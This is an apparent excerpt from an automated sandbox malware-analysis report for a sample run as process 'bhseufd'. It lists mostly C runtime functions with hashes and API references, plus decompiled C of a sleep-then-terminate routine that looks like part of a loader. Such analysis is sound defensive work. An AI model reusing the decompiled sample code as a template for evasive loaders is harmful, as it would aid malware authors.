Opcode Fuzzy Hash: 65d4fb54393684fd377d7b0f3d77692b0563070c7f279eb9e5d07005dacc9ba6
Instruction Fuzzy Hash: 5041E2B1D082299FDB64CF48C989BEEB7B5BB84304F1445DAE449AB241C7389EC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042D3E9 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642

Strings

9, xrefs: 0042D653
', xrefs: 0042D3E9

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: b53842285cc36683f1c6ce8fb90574166aff5df858b6c8ef311ad64556746230
Instruction ID: 88a54ba87f90a9f5b032cfd84d745c94e298abe8153fd9a8b2ffa27ed5e4d3c8
Opcode Fuzzy Hash: b53842285cc36683f1c6ce8fb90574166aff5df858b6c8ef311ad64556746230
Instruction Fuzzy Hash: 994107B1E10129AFDF24CF48D981BAEB7B5FF85318F50409AD148AB241D7789E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00414FA1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00415008
__set_error_mode.LIBCMTD ref: 00415017
_strlen.LIBCMT ref: 00415054

Strings

t/j, xrefs: 00415041
jjj, xrefs: 00414FF0

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __set_error_mode$_strlen
String ID: jjj$t/j
API String ID: 3008368703-194299851
Opcode ID: 29e36cd753d718f00ebd4b426e8ccf6d6e9737db56b20747fef1a9a91f67124e
Instruction ID: cc08ce26f6a024f3033672ba7507bd5da172dfb7162415b62467972e3cdb8a89
Opcode Fuzzy Hash: 29e36cd753d718f00ebd4b426e8ccf6d6e9737db56b20747fef1a9a91f67124e
Instruction Fuzzy Hash: 7621C574900208EBDB20DFD4DD45BEE7770EB99344F20426AE80666391D3799ED1DF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041E210 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__raise_exc.LIBCMTD ref: 0041E231

Part of subcall function 0041E800: __raise_exc_ex.LIBCMTD ref: 0041E81F

__umatherr.LIBCMTD ref: 0041E286

Part of subcall function 0041EB40: __ctrlfp.LIBCMTD ref: 0041EB90

__ctrlfp.LIBCMTD ref: 0041E2AA

Strings

RB, xrefs: 0041E298
Q., xrefs: 0041E23C

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __ctrlfp$__raise_exc__raise_exc_ex__umatherr
String ID: Q.$RB
API String ID: 3448981373-1859500299
Opcode ID: 8fa79a7c7f4aae2378ae324352cbeb68bcd47ee3f3e8f2504226a5c6105b3671
Instruction ID: 1ebfb33139b524200cec9de81c96486586f77189fcb2d629f3baf8e11be06bcc
Opcode Fuzzy Hash: 8fa79a7c7f4aae2378ae324352cbeb68bcd47ee3f3e8f2504226a5c6105b3671
Instruction Fuzzy Hash: 3F11A5FA800104DBCF14EF95ECC6ADA7774BF48304F0446DDED454A14AEA35D9A8CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A0AD Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0040A155

Part of subcall function 0040E600: __encode_pointer.LIBCMTD ref: 0040E6E1

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: 5f7a6d196b30961b12539303d88b8ad938c76a83f920ce16079a0d3f462514dd
Instruction ID: 1f5e1d8646b0494c722511e986583432f5f8cda0befd93b776f646e7e6de3695
Opcode Fuzzy Hash: 5f7a6d196b30961b12539303d88b8ad938c76a83f920ce16079a0d3f462514dd
Instruction Fuzzy Hash: AB412935C04704D6CB21AF79DA4516E77B0EF95344F10CA7AF88876291EB348959D34B

Uniqueness

Uniqueness Score: -1.00%

Function 00423881 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__isatty.LIBCMTD ref: 00423963
__getbuf.LIBCMTD ref: 00423973
__write.LIBCMTD ref: 004239FB

Strings

8uA, xrefs: 004239F7, 0042395F, 00423962, 004239FA

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: 8uA
API String ID: 2861569966-2259325327
Opcode ID: cc1b0abdc2988826ec5a43669376b69e5abb6e32c2e8dc166d42234ab6b96b39
Instruction ID: 0dd3b1d60e5f64f8659b5d50802fca4c560dc3e1392e070fed4939187e0a6d64
Opcode Fuzzy Hash: cc1b0abdc2988826ec5a43669376b69e5abb6e32c2e8dc166d42234ab6b96b39
Instruction Fuzzy Hash: 87510874A00208EFDB04CF94D491AADFBB1FF89324F548299E8856B391C739EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00426CE4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00426D43
_memset.LIBCMT ref: 00426DCC
__invalid_parameter.LIBCMTD ref: 00426E2B

Strings

P, xrefs: 00426E40

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: 955de45044a1d5f85f675c4b6cbede1848b336f993361dde01ceef15ab33b163
Instruction ID: d6fd6288881bce127360db99ef77ba2cd1fba0b01b53c89011ed8be84d3fe839
Opcode Fuzzy Hash: 955de45044a1d5f85f675c4b6cbede1848b336f993361dde01ceef15ab33b163
Instruction Fuzzy Hash: 51418B34B04219DBCF24CF68D8857AE7771FB40318F21866AE8252A3C0D3799995CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0042D3D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642

Strings

9, xrefs: 0042D653

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a9d99888770cab9d7e0f0c34f27cf5cecb2e14e8e89c15b6abf3e2c8dcae7157
Instruction ID: 0f748674789098517c81c6bfd64f9e761f8b5fa2f9a4a8db8edf5eac7631dedc
Opcode Fuzzy Hash: a9d99888770cab9d7e0f0c34f27cf5cecb2e14e8e89c15b6abf3e2c8dcae7157
Instruction Fuzzy Hash: F04117B1E10129AFDF24CF48D881BAEB7B4FF85318F50409AD148AB241D7789E85CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042485C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77

Strings

9, xrefs: 00424A88

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 71fc9a78994e6d16d0c1169087281eb279d550b6d0d5854cb0eb6f4c469db18a
Instruction ID: 7d622ab20ed276f116396610c0aec0db95fc003ade2d99466f96e2832dab4621
Opcode Fuzzy Hash: 71fc9a78994e6d16d0c1169087281eb279d550b6d0d5854cb0eb6f4c469db18a
Instruction Fuzzy Hash: 2041E4B1E15229DFEB24CF58EC99BAEB7B5FB84300F50859AD449A7240D7385E81CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0042D424 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642

Strings

9, xrefs: 0042D653

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: d9517b125610d09cf6686e9e1e60e3f7890620e4f9ac7ed4a8b95ee4aad8908b
Instruction ID: c5f49ca03594f23acbc4f4cd6f5b4d54cf19c5277b46b3f938c6ca43fe85ffb3
Opcode Fuzzy Hash: d9517b125610d09cf6686e9e1e60e3f7890620e4f9ac7ed4a8b95ee4aad8908b
Instruction Fuzzy Hash: F54106B1E10129AFDB24CF48DD81BAEB7B5FF85314F508199D148AB241D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00417D5D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417D89
__aullrem.LIBCMT ref: 00417F56
__aulldiv.LIBCMT ref: 00417F78

Strings

9, xrefs: 00417F89

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 20673bb0dd0d476465353f81658d8a072f6559d7ea614f6567867374e6f90a8a
Instruction ID: a4f503f4a05c619a2cb2715f3afc384eec036e56c76c5104009c60b3daeeaa8c
Opcode Fuzzy Hash: 20673bb0dd0d476465353f81658d8a072f6559d7ea614f6567867374e6f90a8a
Instruction Fuzzy Hash: 6041E471E0862A9FDB64DF48C989BEEB7B5BB84300F1485DAE009A7241D7389EC1CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042480B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
_get_int64_arg.LIBCMTD ref: 004248B0
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77

Strings

9, xrefs: 00424A88

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 52b33b09ba93cfe225179afbd334edf23daf10a9ddb99f53eed7ec5f04d9215f
Instruction ID: 584235817bc73f8ae962284972e65426d18d9de26950287a78096d0aaed1cb15
Opcode Fuzzy Hash: 52b33b09ba93cfe225179afbd334edf23daf10a9ddb99f53eed7ec5f04d9215f
Instruction Fuzzy Hash: FF41D5B1E15228DFDB24CF58E889BAEB7B5FB84300F60859AD449A7240D7385E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00417D0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417D89
_get_int64_arg.LIBCMTD ref: 00417DB1
__aullrem.LIBCMT ref: 00417F56
__aulldiv.LIBCMT ref: 00417F78

Strings

9, xrefs: 00417F89

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 86485ad8320365a21d973e09cedde198a619cafc6831d8c362282d666b7d4256
Instruction ID: 80de0027016aba27cfb710d9a3c87b46e20102838d83ac131788fc0b50bedefa
Opcode Fuzzy Hash: 86485ad8320365a21d973e09cedde198a619cafc6831d8c362282d666b7d4256
Instruction Fuzzy Hash: 4041E4B1E082299FDB64DF58C989BEEB7B5BB84300F1045DAE409A7241D7389EC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042D3CD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
_get_int64_arg.LIBCMTD ref: 0042D478
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642

Strings

9, xrefs: 0042D653

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 0dfdaa36073ef9f1184e557c8796e4b4eb4d7ebd374c62414a2cd066758d1c8f
Instruction ID: 0be7bbea8f8936df4ac83a2c52f3f5a9c458ef7ad509494722a83a080cae16c0
Opcode Fuzzy Hash: 0dfdaa36073ef9f1184e557c8796e4b4eb4d7ebd374c62414a2cd066758d1c8f
Instruction Fuzzy Hash: A64105B1E00129AFDB24CF48D981B9EB7B4FF85318F50419AE148A7201D7789E80CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA90 Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0041FAAA
_$I10_OUTPUT.LIBCMTD ref: 0041FAD2
_wcscpy_s.LIBCMTD ref: 0041FB12

Part of subcall function 0040D730: __invalid_parameter.LIBCMTD ref: 0040D7A2

__invoke_watson_if_error.LIBCMTD ref: 0041FB1B

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: efec990e1e48bc0c03b8f927a7121f3ef49cbbcac27d21f99d1f076ab7d130ed
Instruction ID: dee117bf9813120e8a24ba833a6e6f86f10fcbcf5c9d0d3007b9c0305f3aab63
Opcode Fuzzy Hash: efec990e1e48bc0c03b8f927a7121f3ef49cbbcac27d21f99d1f076ab7d130ed
Instruction Fuzzy Hash: B2214DB5A003089BCB04EFA4D952ADEB7F4EF8C704F108569F90567382E634E915CBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bhseufdPID: 4660, Parent PID: 1088COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	23.9%
Signature Coverage:	0%
Total number of Nodes:	88
Total number of Limit Nodes:	5

Executed Functions

Function 004017E2 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004017E2(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x004017e2

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000009.00000002.436767074.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_bhseufd.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction ID: ddaf0562df841adfab300f0276baae716c17d25714fd681a3a6e16616d485b4c
Opcode Fuzzy Hash: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction Fuzzy Hash: EC015233148208EBDB017AA59C41DA97729AB45754F30C537FA03791F1D67D8713A72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017E3 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E004017E3(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t8;
				char* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;
				void* _t24;
				void* _t26;

				_push(0x181b);
				_t8 =  *_t21;
				_t22 = _t21 + 4;
				L00401118(_t8, _t13, 0x61, _t19, _t20, _t24);
				_t14 = _a4;
				Sleep(0x1388);
				_t3 =  &_v8; // 0x1b68f34d
				_t9 = _t3;
				_push(_t9);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				L00401360(); // executed
				_t25 = _t9;
				if(_t9 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t17, _t18, _t19, _t26); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t16 =  *_t22;
				L00401118(_t11, _t14, _t16, _t19, _t20, _t25);
				return _t11;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000009.00000002.436767074.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_bhseufd.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction ID: 1d0556d2ce3487287f662705d53e2785c513140bae9e3f24436a296874fe77da
Opcode Fuzzy Hash: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction Fuzzy Hash: 15017533108208F7D7017A958C42DAA3628AB45754F30C437BA03790F1D57DDB12676B

Uniqueness

Uniqueness Score: -1.00%

Function 004017EE Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E004017EE(void* __edi, void* __esi) {
				intOrPtr _t8;
				intOrPtr* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t25;
				intOrPtr* _t26;
				void* _t29;
				void* _t31;

				_t21 = __esi;
				_t19 = __edi;
				_push(0x181b);
				_t8 =  *_t25;
				_t26 = _t25 + 4;
				L00401118(_t8, _t13, 0x61, __esi, 0x1b68f351, _t29);
				_t14 =  *((intOrPtr*)(0x1b68f359));
				Sleep(0x1388);
				_t9 = 0x1b68f34d;
				_push(_t9);
				_push( *0x1B68F361);
				_push( *0x1B68F35D);
				_push(_t14); // executed
				L00401360(); // executed
				_t30 = _t9;
				if(_t9 != 0) {
					_push( *0x1B68F365);
					_push( *((intOrPtr*)(0x1b68f34d)));
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t18, _t19, _t21, _t31); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t17 =  *_t26;
				L00401118(_t11, _t14, _t17, _t21, 0x1b68f351, _t30);
				return _t11;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000009.00000002.436767074.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_bhseufd.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction ID: 6a2648c31bf342f80e2744bc490c75df06b0a743f4722301b2fbabc3dba0a0aa
Opcode Fuzzy Hash: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction Fuzzy Hash: 54016733508304ABDB017AA18C42EA937289B45754F24C577BB13790F2D57DCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401807 Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E00401807(signed int __edx, void* __edi, void* __esi) {
				void* _t9;
				void* _t10;
				void* _t12;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr _t18;
				void* _t21;
				void* _t25;
				intOrPtr* _t27;
				signed char _t30;
				void* _t32;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx |  *(_t25 + 0x7b);
				_t30 = __edx |  *(_t25 + 0x7b);
				L00401118(_t9, _t14, 0x61, __esi, _t25, _t30);
				_t15 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t4 = _t25 - 4; // 0x1b68f34d
				_t10 = _t4;
				_push(_t10);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t15); // executed
				L00401360(); // executed
				_t31 = _t10;
				if(_t10 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t10);
					_push(_t15); // executed
					E00401432(_t15, _t20, _t21, _t23, _t32); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				_t12 = 0x181b;
				_push(0x61);
				_t18 =  *_t27;
				L00401118(_t12, _t15, _t18, _t23, _t25, _t31);
				return _t12;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000009.00000002.436767074.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_bhseufd.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction ID: d1e85a843a3bf15b3ffbd62fd2fe31d474754e63a526ee7ed21e8696c92682af
Opcode Fuzzy Hash: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction Fuzzy Hash: 2FF04F33204208FBDB007BA18C42EAD3729AB45754F20C537BA13790F2D679CA12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00409B11 Relevance: 16.7, APIs: 11, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00409B72
_wprintf.LIBCMTD ref: 00409CA1
_wscanf.LIBCMTD ref: 00409CAA
_wscanf.LIBCMTD ref: 00409CB7
__wremove.LIBCMTD ref: 00409CBD
__wrename.LIBCMTD ref: 00409CC4
_labs.LIBCMTD ref: 00409CE1
_abort.LIBCMTD ref: 00409CE6
_realloc.LIBCMTD ref: 00409D0D

Part of subcall function 0040A7B0: __realloc_dbg.LIBCMTD ref: 0040A7C4

_malloc.LIBCMTD ref: 00409D13

Part of subcall function 0040A780: __nh_malloc_dbg.LIBCMTD ref: 0040A796

__wctomb_s_l.LIBCMTD ref: 00409D1D

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _wscanf$__nh_malloc_dbg__realloc_dbg__wctomb_s_l__wremove__wrename_abort_labs_malloc_memset_realloc_wprintf
String ID:
API String ID: 2019212891-0
Opcode ID: b7a4a65a013421810ac4a52313fb17243f67ceec3f5082b47fe827cf8165aa4a
Instruction ID: 84d0ca801cbff2cd06d7bdebf418d9d672f18ef7858b508b20d4e9dfa1e92ba6
Opcode Fuzzy Hash: b7a4a65a013421810ac4a52313fb17243f67ceec3f5082b47fe827cf8165aa4a
Instruction Fuzzy Hash: 4D518E72802524BBD7156BA29D09DDF3BACEF0A751B000036F606B50A1D73C5A45CBFE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEB0 Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040AF2C
__heap_init.LIBCMTD ref: 0040AF36

Part of subcall function 00419610: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040AF3B,00000001), ref: 00419626

_fast_error_exit.LIBCMTD ref: 0040AF44

Part of subcall function 0040B090: ___crtExitProcess.LIBCMTD ref: 0040B0B4

__mtinit.LIBCMTD ref: 0040AF4C
_fast_error_exit.LIBCMTD ref: 0040AF57
__RTC_Initialize.LIBCMTD ref: 0040AF69
___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AF93
___setargv.LIBCMTD ref: 0040AF9D
__setenvp.LIBCMTD ref: 0040AFB0
__cinit.LIBCMTD ref: 0040AFC5
__wincmdln.LIBCMTD ref: 0040AFE2

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2258361453-0
Opcode ID: 35567e463a87d3bf55315de60d3f6b840177f20f6f35b604e76687a3dffd38c2
Instruction ID: d9d936ca505bf2268ade43a19ff862e4fd71a554de30297134b2deed6f80c149
Opcode Fuzzy Hash: 35567e463a87d3bf55315de60d3f6b840177f20f6f35b604e76687a3dffd38c2
Instruction Fuzzy Hash: 1241C1F1D003099BDB10ABB2AC06B9E76B4AF5475CF10013EF515AB2C2FB799540CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF25 Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040AF2C
__heap_init.LIBCMTD ref: 0040AF36

Part of subcall function 00419610: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040AF3B,00000001), ref: 00419626

_fast_error_exit.LIBCMTD ref: 0040AF44

Part of subcall function 0040B090: ___crtExitProcess.LIBCMTD ref: 0040B0B4

__mtinit.LIBCMTD ref: 0040AF4C
_fast_error_exit.LIBCMTD ref: 0040AF57
__RTC_Initialize.LIBCMTD ref: 0040AF69
___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AF93
___setargv.LIBCMTD ref: 0040AF9D
__setenvp.LIBCMTD ref: 0040AFB0
__cinit.LIBCMTD ref: 0040AFC5
__wincmdln.LIBCMTD ref: 0040AFE2

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2258361453-0
Opcode ID: 3a7eddbdabf2ec260cee83d5f387ff21e4e0e706ea8f20e6eaee792408d3a0f3
Instruction ID: 01840fa34cac2b27e497d19540e113479eb471d20927bec609328bd74033ff4d
Opcode Fuzzy Hash: 3a7eddbdabf2ec260cee83d5f387ff21e4e0e706ea8f20e6eaee792408d3a0f3
Instruction Fuzzy Hash: AD3193F1D003059AEB10BBB2AD067DE7260AF5034CF10013FE9196B2C2FB799954CA9B

Uniqueness

